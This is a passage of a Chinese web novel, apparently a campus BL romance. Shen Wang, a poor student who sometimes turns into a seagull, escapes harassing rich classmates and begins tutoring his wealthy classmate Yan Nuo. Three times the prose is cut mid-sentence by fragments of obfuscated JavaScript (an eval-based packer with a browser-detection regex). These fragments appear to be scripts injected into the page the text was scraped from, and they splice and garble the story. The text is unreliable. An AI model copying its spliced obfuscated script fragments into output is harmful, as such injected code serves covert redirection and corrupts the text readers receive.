沈望叼着圆珠笔,听着教授在上面将作业要求,脑子里浮现出了严诺的身影。 严诺和他是同一个专业的,两个班级合并后,他的专业课应该也是和他一起上了才对。 如果能和严诺组队一起做这个作业,那是不是就有顺理成章的理由稍微关心一下他了呢。 这样的想法出现了一瞬,沈望赶忙摇了摇头,打消了这个萌芽的念头。 “由于班级合并后大家可能还不太熟悉,公平起见,这次的作业采取抽签的模式分组,每两人一组,总分一起算。” 老教授打开一个抽签小链接,将学生名单复制了上去,很快,分组结果就正式出来。 “Group 32:沈望。” 沈望盯着投影屏幕,好半天才找到自己的名字。 分组结果:沈望,严诺 在看到那个熟悉的名字后,沈望下意识的回过头,目光正好和后排的严诺交汇上。 这时沈望有些惊讶的发现,严诺刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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拉开凳子站起身时,那群人似乎是被副本BOSS打得毫无还手之力,咒骂声吵得沈望嫌恶的皱起了眉。 离开了教室后,被震得生疼的耳膜终于重新活了过来。 沈望边在脑子里过着今天教授将的知识点,一边慢慢地往宿舍走去。 由于下课的时间点十分尴尬,这个时候是等不到校巴的。 所以沈望没有办法,只能步行好几公里路回家。 冬天的天黑得总是很早,下午三四点,太阳已经不见了踪影。 乌云黑沉沉的压得人喘不过气,沈望穿行在高楼林立的街道上,路过杂货店时进去用身上的现金零钱买了点打折的罐头和素食,拎着慢慢往家走。 周围繁华宏伟的建筑物在沈望身侧慢慢消退,取而代之的是脏兮兮的建筑工地,和半人多高的,覆盖着积雪的草丛。 为了能让身体暖和一点,沈望将帽子压得很低,整个人缩进了衣领中,试图躲避从四面八方企图灌进来的狂风。 他低着头往前走着,一路上一个行人也没有碰到。 可不知何时,远处亮起了车灯,照亮了沈望身前的路。 “嗯?” 沈望回过头,就见一阵刺耳的刹车声响起。 一辆黑色的保时捷在他面前停了下来,一尘不染的车身和这个偏僻的地方格格不入。 随着车门被一扇扇打开,几张沈望永远也忘不了的脸出现在了他的面前。 8. 鸥就是这样的人 一帮穿金戴银的高大男人将沈望团团围住,居然是刚才在教室里咋咋呼呼打游戏那群人。 而他们中间为首的,正是那天想要抓走海鸥形态的他的胖男人。 胖男人换了一顶假发,打扮的倒是人模狗样。 可他身上的气场还是让沈望感觉浑身不舒服。 一股不祥的预感涌上心头,沈望下意识后退了半步。 可环顾了一圈四周,却发现这个地方根本不会有人来,就连往市区方向逃跑的路也被胖男人的跟班们从后面堵死了。 “同学,你们有什么事吗?” 沈望强迫自己不要表现得太紧张,他紧了紧自己的书包袋子,偏过头问胖男人。 “沈望,你无论是大考还是小考总是能第一,很厉害嘛。正好我们几个学习不怎么样,你就帮我们补补课吧。” 或许是因为现在的沈望是人类的身份,还稍微顾忌了一点法律法规,胖男人的小弟不敢表现得太过咄咄逼人。 他对着沈望挤出了一个笑,沈望却警惕蹙起了眉,总感觉事情没有那么简单。 “我们老大缺一个商赛队友,事成之后给你$500,要是能入围总决赛,额外再加200,怎么样?” 果然如此。 这群不学无术的富二代怎么可能会真的想要补课提升成绩呢。他们不过就是想让沈望将比赛成果加上他们的名字,再随便给点钱打发他。 这群富二代看出了他的窘迫和孤立无援,就连价格开得都低得离谱,偏偏说话的那小弟态度还像是施舍一般,仿佛让沈望占了多大的便宜。 “沈望,你知道杰斯哥家里是什么来头吗?” “他爸可是这个商赛的二级赞助商,每年都能进入内场观看的。你要是干得好,说不定以后还能跟着杰斯哥进他们公司搞个VP当当呢。” 似乎是见沈望迟迟没有吭声,富二代们放缓了语气,开始给沈望画饼。 “……” “抱歉,其实我最近学习也有点吃力,可能帮不上你们。” 沈望捏紧手中的购物袋,他无视了那些富二代们在看见他朴素的穿着和手上打折食品时那轻蔑讥讽的神情,礼貌的回绝后便想转身离开。 “你站住。让你走了吗?” 为首的胖男人终于开了口。 他从头到脚打量了沈望一番,目光掠过沈望洗得发白的帆布包和没有牌子的外套上,眼底的嫌弃几乎就要溢于言表,可在看见沈望的脸后,眼底又多了几分玩味。 “是嫌哥哥给太少了吗?” 他并没有对沈望发火,而是从口袋里摸出一根烟,借着小弟的手点上。 “这里不让抽烟,被抓到了要罚款的。” 沈望指了指男人身后的一张警示牌。 男人原本刚打算开口继续说,被沈望突如其来的提醒噎得卡了壳,好半天才尴尬的抖了抖烟灰,“没事,不用管它,那点罚款就当做慈善了。” “但是好像还要拘留……” 男人挥了挥手,无视了沈望没说完的后半句话,他仔细地打量了一下沈望,忽然嘿嘿笑出了声。他这副态度虽然没了刚才的盛气凌人,却让沈望仿佛被什么肮脏黏腻的东西缠住,不由得打了个寒战。 “其实价格我们可以谈的,你应该很缺钱吧,要不要跟着我混,这日子可比整天穿成这样,和大爷大妈抢打折商品好过多了。” “……” 什么意思,为什么突然要拉拢他。 沈望疑惑的抬起头,却看见胖男人身后的小弟们纷纷露出了玩味的笑容,打量沈望时就仿佛像是……在看一件完全没有尊严的,已然待价而沽的商品。 “差点还忘了,杰斯哥可以荤素不忌的,最近这是女朋友谈腻了,想换换口味?” “谁知道呢,不过这小子虽然瘦了点,长得倒是还真挺漂亮的。” 一股巨大的反胃感让沈望几乎想要干呕。 他的指尖开始不受控制的发抖,对于杰斯和一众富二代们的厌恶达到了顶点。 “滚开,你们再缠着我,我就报警了。” 眼看着杰斯贴得越来越近,粗重的呼吸声让沈望起了一身鸡皮疙瘩。 趁着杰斯没有注意,他猛地推了他一下,从人群的缝隙中钻了出去,开始一边奔跑一边翻找自己的背包,想要找到随身携带的胡椒水。 由于经常打工到深夜凌晨,沈望的包里放了一些保命防身的东西。 或许是因为太过紧张,他翻找了好久才找到那个小瓶子,然后果断拧开盖子对着杰斯一阵狂喷。 “啊啊啊啊啊——” 凄厉的嚎叫声中,沈望因为太过紧张,胡椒喷雾脱手飞了出去,一路滚到了路边的沟里。 完了。 沈望最近已经不知道自己完了多少次,但他知道这次恐怕真的要完了。 他没法去捡那瓶胡椒水,只能继续向前跑。直到躲进路边的24小时便利店,找店员帮忙报警,或许事情还能有转机。 融化了一半的雪水溅在了沈望的裤脚上。 湿滑的,带着无数生活垃圾和石子泥土的人行道让他不得不放慢了脚步。手里的东西很沉,白皙的指关节被勒出了带血的红痕,有好几次,他都踉跄着摔进了雪里,可他清楚那些人是不会轻易放过他的,只能闷着头拍起来,忍着疼痛往前冲。 不知跑了多久,一阵引擎轰鸣的声音响起,有光照在了灰头土脸的沈望身上,晃得他有些睁不开眼。 沈望抬起头,停在他面前的是一辆黑金色的机车。 车身很高,流线型的设计帅得让人移不开眼,车灯闪烁着,车身上挂着一只书包,可沈望根本无暇去顾忌,只能踉跄着上前,想要像他求助。 好冷,好痛…… 寒冷和恐惧让沈望的大脑如同生锈了一般几乎无力转动,可鼻腔里骤然传来的,冷冽干净的气息,却让他的意识清醒了几分,乌黑的眸子陡然瞪大。 “严诺…” 他几乎是下意识的就叫出了那个名字,可下一刻,他看见了那个墨绿色的头盔。 认错人了吗,这也太丢脸了。 身体已经到达了极限,沈望膝盖发软,整个人失去了平衡,可就在这时,一双手揽住了他的肩膀,车上的人顺手便接住了他的身体,和他一起跌进了雪里。 “哗啦哗啦——” 花坛里的积雪被碰掉了一大片,沈望花了好大的力气,才从雪中爬了起来,就在他想像撞到的人道歉时,后者却已然主动摘下了头盔,和沈望四目相对。 在看清沈望的模样时,严诺的喉结不自觉地动了动。 那个在课堂上和同学款款而谈,说起项目计划时仿佛有一万个点子,聪明又漂亮的小学霸此时满身狼狈,头发被风吹得凌乱不堪,外露的手腕上满是勒痕和跌出来的瘀伤。 沈望的皮肤很白,而那些狰狞的痕迹衬得他本就白皙细腻的肌肤看上去仿佛失去了血色。 他此时应该是很痛的,红润的唇瓣被咬得出了血,严诺一时间看得出了神,一股莫名的情绪涌上心头,让他感觉心脏揪了一下。 “抱歉……不过,你怎么会在这里?” 沈望有些尴尬的拍了拍身上的雪,从地上站了起来。 他环顾了一圈四周,发现那群富二代居然并没有追上来,暗中松了口气。 或许是因为胡椒水的威力太猛,那些小弟们已经拖着杰斯去紧急清理了。 “这个,我不小心拿走了,怕里面有重要的东西,所以想尽快还给你。” 严诺从包里拿出一个移动硬盘,刚才沈望讲方案的时候插在了他的电脑上,被他无意带走了。 “哦,谢谢啊。” 沈望莫名感觉严诺今天的话好像似乎比平时多了,却不知道是为什么。 是出于本能的教养和礼貌吗? 来不及细想,沈望接过硬盘,发现严诺看向了散落了一地的食物。 比蝉翼还薄的劣质塑料袋被摔破了,好不容易抢到的打折食品坏了大半,罐头的汁水漏了出来,饼干也被压扁变形。 沈望粗略的估算了一下损失,本来能吃一个星期的食物现在最多只能撑两三天,他紧紧攥着拳头,可或许是愤怒过了头,随之而来的是无尽的迷茫。 早上发给兼职老板讨要工资的消息一直没有回复,估计已经石沉大海了。 在这么短的时间里找到新的兼职更是难上艰难,再加上今天和杰斯他们肯定是结下梁子了,沈望只感觉有一把无形的铡刀高高的挂在他的脖子上,随时都会轰然落下。 “这儿治安不怎么好,晚上又黑,你回去的时候注意安全。” 为了不在严诺面前表现得太愁眉苦脸,沈望只能对他笑了笑,没有表现得太愁眉苦脸。 “你从前面那个路口出去,拐个弯到隔壁街区去,那边路灯亮一点,路也好走。” “你呢,自己一个人回去?” 严诺抖了抖头盔上的积雪,见沈望一边叮嘱他,一边将一个瘪了一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通常情况下他其实不喜欢欠别人人情,可一想到杰斯他们,他就不由自主的打了个冷战,默默地爬上了严诺的后座。 如果能想办法多和严诺待在一起,他们是不是就不会再来找自己麻烦了呢。 唉。沈望叹了口气,真是冤家路窄啊。 严诺的机车很高,沈望爬上去后完全不知道脚该踩在哪,那种恐高的感觉又回来了,虽然严诺给了他一个备用头盔,可要是不慎摔下去,那他不得东一块西一块啊。 严诺刚发动车子,沈望就吓得本能得伸手抱住了严诺的腰,整个人僵硬地贴在了他的身上。 “!” 感受到环抱着腰侧的触感,严诺黑沉沉的瞳仁颤了颤,沈望以为他这是不舒服,也感觉自己是不是有点自来熟了,于是只能转而抓住他背在身后的书包。 严诺回过头看了看他,似乎想说什么,最终却什么也没说。机车在一阵轰鸣声中划过一道优美的弧线,朝着学生公寓的方向驶去。 一路上,沈望似乎依稀听见了警笛声,还有断断续续的咒骂声,不过他并没有在意,他的全部精力都用来保持平衡,防止自己从严诺的车上掉下去。 这还是沈望第一次坐机车,似乎是为了“照顾”他,严诺骑得不算快,可当凌厉的风刮过脸侧,身后的景象飞速倒退时,沈望还是有了种奇异的感觉。 认识了严诺后,沈望发现他和自己原本印象里的有很多偏差。 他不知道严诺到底是经历了什么才养成了阴暗自闭的性格,可他总感觉真实的严诺似乎并不是大多数人看到的那样。 十几分钟后,严诺的车停在了学生公寓楼下,沈望搓了搓冻得发红的脸颊,拎上自己的东西准备上楼回家。 此时已经是晚上七八点,由于最近天气不好,大多数老师都将晚课换成了线上课。 上了年头的公寓楼里灯火通明,唯独三楼角落里的一户没有亮灯,沈望有些落寞的垂了垂眼,轻声对严诺说:“再见。” 严诺点点头,沈望提上自己的东西,往楼道走去。 走了几步后,他忽然想到了什么,转身叫住了准备离开的严诺。 “严诺,老师说的商赛你报名了吗?” “嗯,什么?” 严诺没有料到沈望会突然问这个,只能如实说,“还没……” “那么,要不要和我组队?” 9. 学霸鸥 沈望对严诺笑了笑,露出了一截尖尖的小虎牙。 “啊?” 像沈望这样的大学霸,想要和他组队的人应该不会少吧。 他为什么会愿意找自己呢。 严诺的心扑通扑通跳了起来,他不知道自己该不该的接受,可脑子还没反应过来,他的嘴已经诚实的帮他答应了。 “那就说定了哦,咱们明天就开始。补习完后,我顺便和你说一下赛程。” 沈望轻轻锤了一下严诺的肩膀,转身刷卡上楼。 直到沈望的身影消失在了楼道尽头,严诺这才重新跨上机车,掉头离开。 沈望回到家里时,室内因为长期断电已经开始迅速降温,还好邻居家暖气开得足,不至于冷得让人待不住。 他将买回来的东西一一收好,然后才拖着疲惫的身体,准备去宿舍公共区的健身房洗澡。 他刚拿上换洗衣物,还没来得及出门,充了一天电的手机终于能开机了,跳出了一条消息。 “你无故旷工这么多天,已经被开除了。工资的事我做不了主,你如果有问题,得去找店长。” 打工的地方终于回信息了,结果在沈望的预料之中。 他回了句谢谢,虽然已经不抱什么希望,但真的知道结果后,还是隐隐有些失望。 正要关上手机时,又一条消息提醒弹了出来。 “您尾号为xxx的银行卡收到Zella转账:$3000。” 什么?!! 沈望难以置信地瞪大了眼。 怎么可能,诈骗短信吧。 他打开网银,原本只是想确认一下,结果登上去一看,发现那钱居然是真的。 虽然刚一到账就被自动扣掉了很多账单钱,可他的余额还是从原本的负数变成了正的。 虽然由于学费和各种保险的扣款,他现在的全部身家还是只有两位数。 正当沈望握着手机,盯着从天而降的巨款发呆时,一条没有备注的号码发来了短信。 “我是严诺,补课费的定金收到了吗?” 沈望的手指颤了颤,不小心碰到了消息栏。下一刻,那条消息就显示已读,沈望只能赶快打字回复:“收到了,谢谢。” “呼啦——” 由于电费终于成功被扣除,头顶的灯一盏盏亮了起来,原本伸手不见五指的房间重新变得明亮温暖。 说实话,在严诺的转账来临之前,沈望一直没觉得他说的一千居然指得是……美金。 虽然第一笔钱全部用来填了窟窿,但是如果能再熬一段时间,等到月底结账,他应该至少吃饭是不成问题了。 运气好的话,学费的贷款也能提前还掉一部分本金。 沈望冻得冰凉的手指在暖气的作用下渐渐地不再那么僵硬,他删删改改打了许久字,最终只干巴巴的发了句:“明天就是周六…嗯,你想几点开始,我们在图书馆见面怎么样?” “中午十二点吧,早上起不来。” 过了十来分钟,那边回复了,严诺刚才应该在打游戏,这会儿正好一局结束。 严诺……他这会儿差不多应该在吃晚饭吧,沈望坐在床上想……今天没有自己他陪着吃饭,他一个人还会好好吃饭吗? 沈望揉了揉有些发胀的脑袋,刚想回复说没问题,对面又来了一句:“你来我家吧,图书馆人太多了,不想去。” “好。” 放下手机时,沈望发现自己的嘴角已经不自觉的噙上了一抹向上的弧度,他站起身,开了个速食罐头,坐在餐桌前开始边看专业课资料边吃晚饭。 一直看到晚上十点,作息规律的沈望感觉有些困了,正准备上床睡觉,看了一眼手机,发现严诺那边居然又给他发了两条消息。 “这个文献你看得懂吗,是另外一节课的作业,指导一下呗。” 沈望打开了严诺发给他的文档,是严诺上的一截选修课的阅读作业。沈望虽然没有修这门课,但是粗略扫了一眼,发现这篇文献的难度很一般,他应该也可以辅导严诺。 “你能接电话吗,我给你大概讲一讲吧。你们老师的要求是什么,是预习吗?还是要精读然后写总结?” 没开灯的别墅里,书房的窗户打开了一道缝隙。 严诺坐在电脑前,看见手机上弹出的消息,对着空房间发呆的视线重新收了回来。 “预习一下就行,这个是明天上课要讨论的。你打过来吧。” 他一边回复消息,一边默默地将那个鸟架和沈望吃饭用的小碟子挪到了房间的角落里,试图通过掩耳盗铃的方式让自己忘掉沈望存在过这件事。 …… …… 见严诺那边回得很快,没怎么犹豫就答应了。沈望给严诺拨了个电话,对面接通后,把文章的几个重要观点给严诺讲了一遍。 “大概就是这些,其余的没什么了。” 沈望滑动着手机最后翻了翻那份怎么看都很基础的文献,总感觉以严诺的英语能力应该不至于看不懂这份东西。 他还记得那天半梦半醒见听见严诺和宠物医生毫无障碍的流畅交谈时的样子,感觉有点奇怪,却又说不上来哪里奇怪。 不过他想,严诺愿意问他问题总归算是好事。 要不然那么多钱,他拿得实在有点不安心。 “以后你如果…如果有别的学习上的问题也可以问我。不是专业课方面的我也可以试试。” 沈望和严诺都是商学院的学生,虽然专业研究方向有着一些小差别,但基本上都是大同小异的东西。 他有信心能教好严诺,实在不行的话他可以现学一遍然后再活学活用的教学也是可以的。 “谢谢你,沈望。” 严诺的声音很好听,这还是他第一次主动叫沈望的名字。 沈望有点不好意思,赶忙说没关系,接着便借着寒暄提醒他早点睡觉,然后挂断了语音电话。 “呼——” 经过了一天的波折,沈望怎么也没想到,自己最后居然能在温暖干爽的被窝里安然入睡。 摔伤的地方还有点疼,但是因为药品的价格太高昂,沈望宿舍连最基本的急救箱都没有,他只能揉了揉腿上的淤青,裹上被子,闭着眼睛直接睡觉。 或许是因为太累了,沈望很快就迷迷糊糊睡了过去。 这个晚上,他似乎一直在做乱七八糟的,无厘头的梦。 他梦见了自己还在严诺家里时,踩着他的后背让他驮着自己做俯卧撑时的情景,又梦见冰天雪地里,严诺帮他捡起散落在地上的打折食品,帮他擦掉上面的淤泥和积雪,拎着它们送他回家。 “严诺…严诺……” 翌日清晨,沈望缓缓睁开眼,温暖的阳光如同往常一样透过窗帘的缝隙撒在了地上,如同铺了一地的金子。 沈望看了看自己手脚,确认自己还维持着人形后,一轱辘从床上爬了起来。 手机安静地躺在沈望身侧,锁屏页面上各种作业和考试通知。 沈望打了个呵欠,滑动了一下消息栏,打开了和严诺的对话框。 昨天的最后一条消息是严诺发的,让他也早点休息,别学得太晚。 由于沈望睡着了,所以那个新消息的红点还在。 中午十二点,他准时出现在了严诺家门口,按响了门铃。 约莫十分钟后,门开了。 严诺拿着电话,似乎正在和什么人说事情,从他的脸色来看,应该不是家人在找他麻烦,沈望于是跟着他来到了客厅里。 “我晚点跟你说,现在有别的事。” 似乎是不想让沈望久等,严诺那边很快挂了电话,给沈望倒了杯温水,顺手接过了他的书包。 “你的衣服我给你洗了,还没晾干,我下次上课的时候拿给你。” 沈望如同蚂蚁搬家一般,将厚厚的课本和比赛资料一点点从书包里拿出来,摊在桌子上。 “没事,不着急。” 严诺搬了张椅子坐到他身侧,和他一起将要看的内容按照门类放好。 虽然今天是第一次正式“补习”,可由于严诺意外的跟得上他的思路,一切进行的还算顺利。 他先从最基础的概念开始,从头到尾把严诺不理解的知识框架全部给他过了一遍。很快,他发现严诺的实际水平其实根本不算差。 或者说,严诺这家伙虽然经常不去上课,作业和考试也是能混就混,只是因为他对学习一点兴趣也没有,非必要的情况下完全没有翻过书,而不是因为他学不进去。 “那什么,你的绩点现在是多少来着?” 见严诺有模有样的计算出了一道难度并不算低的题目,沈望发出了由衷的疑问。 “呃,好像是3.4吧,具体不记得了。” 严诺挠了挠头,话出口后才意识到有些不对。 沈望:“……” 这个成绩真的还需要补习吗。 虽然不算顶尖,但是完全够用了。 按照严诺之前的说法,他做作业和考试都是连蒙带猜的。 此时的沈望几乎可以断定,严诺的脑子应该是不简单的,只是之前他的兴趣点完全没有在按部就班的学习和考试上。 不知道是什么原因让他突然愿意学习了,不过不管怎样,以后多了个学习搭子,好像还挺不错的。 沈望用笔帽敲了敲额头,对严诺莫名有些刮目相看。 时间不知不觉就到了傍晚。 由于严诺的成绩大多数都是依靠连猜带蒙的小聪明得到,沈望给他补基础还是费了点力气。 铺天盖地的干货讲了好几个小时,饶是沈望都觉得自己干得有些脱水了,严诺却一句抱怨也没有。 直到将一个大章节的内容全部讲完,两人这才起身,准备研究研究晚饭吃什么。 “家里可能没什么吃的。我叫外卖吧,你有什么想吃的吗?” 严诺打开外卖软件,沈望一眼就看到了最近订单。 清一色的全是炸鸡薯条汉堡。 沈望:“……” “别点外卖了。”沉吟了片刻后,沈望站起身,活动了一下因为久坐而有些僵硬的肩膀,“你家厨房能借我用一下吗?咱们自己做点吃的吧,总吃外卖对身体不好。” 严诺愣了一下,似乎没想到沈望会提出这个建议,却并没有拒绝他。 “嗯,你用吧。” 他欲言又止,沈望路过他身边时,只听他喃喃自语:“他怎么知道我总是吃外卖……” 严诺家的厨房很大,开放式的岛台后方就是豪华的双开门大冰箱。 沈望拉开冰箱门,不出所料的发现里面空空如也,只有几罐可乐和其他各种牌子的汽水。 冷冻层则塞满了各种炸鸡,速食。 有披萨,有几块,有薯条,有芝士球……琳琅满目的,就是看不到一点新鲜蔬菜或是肉类的影子。 在严诺尴尬心虚的目光中,沈望打开了水池上方的橱柜。 堆积如山的泡面映入眼帘,由于塞得太满,有几包砸落了下来,掉进了沈望的怀里。 “你……” 沈望无声地叹了口气,废了老大的力气,终于在犄角旮旯里薅出了两个番茄,一包未拆封的挂面和一小盒鸡蛋。 “下个番茄鸡蛋面吃吧。” 沈望挽起袖子,就要开始洗菜。 在一旁站着的严诺却十分自然地接过了他手中的食材,帮他全部清洗干净后才递给了他。 沈望的厨艺虽然称不上很精湛,却也算得上十分不错,他做不来特别高级的料理,但是家常菜这些还是难不倒他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈望稍微留意了一下他,发现严诺来上课的频率似乎比以前高了一些。以前常常迟到,甚至干脆不来的严诺,居然也会踩着上课的时间卡点到教室了。 而且,严诺每天除了会和他点头打招呼外,有时候就连课间休息时,也会做到他旁边主动和他商量期末作业的计划。 “沈望,今天中午要一起吃饭吗?正好我们可以把发言稿的第一部分核对一下。” 严诺手中拎着两杯奶茶,将其中一杯放在了沈望面前,十分自然的坐到了他身旁的空位上,等沈望解完了手上的题,才开口问他。 “嗯……好呀。” 沈望放下手中的铅笔,在心中飞快计算了一下自己饭卡上的余额,最终点了点头。 “今天学校门口那家奶茶店买一送一,就给你带了一杯。” 严诺将那杯还温热着的抹茶拿铁往沈望那边推了推,似乎是担心他不愿意收,着重强调他那杯是免费送的。 “谢谢——”见严诺给得很诚心,沈望没有拒绝的理由,戳开吸管尝了一口,好喝的眯起了眼。 虽然沈望手里这杯是送的,可却意外的很符合沈望的口味。 没什么人知道,沈望很喜欢吃甜的,而这份全糖还加了奶盖的抹茶拿铁完美的踩重了他的喜好。 他一边小声啜饮着,一边和严诺一起来到了学校食堂。 沈望原本以为,严诺这种富家子弟应该会选择价格昂贵的几个窗口,却没想到他居然直接在普通窗口前排上了队,让沈望暗中松了口气。 学校食堂的饭卡是大一开学时强制充的,那几百块钱余额沈望已经用了两年,如今还剩下一半左右。 由于学校的菜色普通,价格也不是最划算的,他一个人的时候,通常不会过来吃。 排了十几分钟的队后,严诺和沈望端着托盘在角落里找了位置坐下。 沈望白天食欲不怎么旺盛,只拿了一点沙拉,严诺则点了个炸鸡套餐,还有一杯咕嘟咕嘟冒着泡的可乐。 严诺还真是喜欢可乐啊,要不是见过他那刀削斧凿的腹肌和宽阔的双开门身材,沈望总感觉他很像那种死宅男。 如果严诺以后继承了家族的企业,他那些待他不好的家人应该全都上不了桌。反倒可乐和炸鸡满门忠烈,会不会被严诺论功行赏封为功臣呢。 沈望一边搅动着手中的沙拉,一边对着严诺的脸发呆。 想到炸鸡和可乐戴着官帽,一排排严肃地对着严诺磕头谢恩的样子,忍不住噗呲笑出了声。 严诺原本正有一搭没一搭的悄悄看沈望吃饭,见他突然爆发出了诡异的笑声,整个人吓了一跳,还以为自己牙上有菜,赶忙问他怎么了。 沈望:“没什么,只是想到了高兴的事情。” “哦,”严诺见他不是在笑自己,绷紧的身子稍微放松了一点,目光落在沈望笑起来露出的小虎牙上,看得有些出神。 一顿饭吃得虽然气氛有些诡异,可却也还算愉快。 沈望发现,严诺大少爷似乎并没有他平时表现出来的那么闷,和他相处起来也没有不舒服的感觉。 临走时,严诺借口喝不下了,把自己手中的那杯没拆封的奶茶也塞给了沈望,自己抱着那杯买套餐送的可乐,一边吸溜着一边骑上他的机车回家了。 这天晚上,怒干了两杯奶茶的沈望即便跳过了晚饭,还是晕碳得倒在了床上。 饿着睡过太多觉,被撑晕过去的经历倒还真的没体验过。 感觉还挺不错的呢…… 这样想着,沈望进入了梦乡。 再次醒来时,他打了个哈欠,想要伸手去捂,一睁眼却看到了自己毛茸茸的翅膀。 “滴滴——” 一阵喇叭声响起,沈望抬头一看,发现自己不知何时来到了大马路上。 老天没有放过他,他居然又变回了海鸥。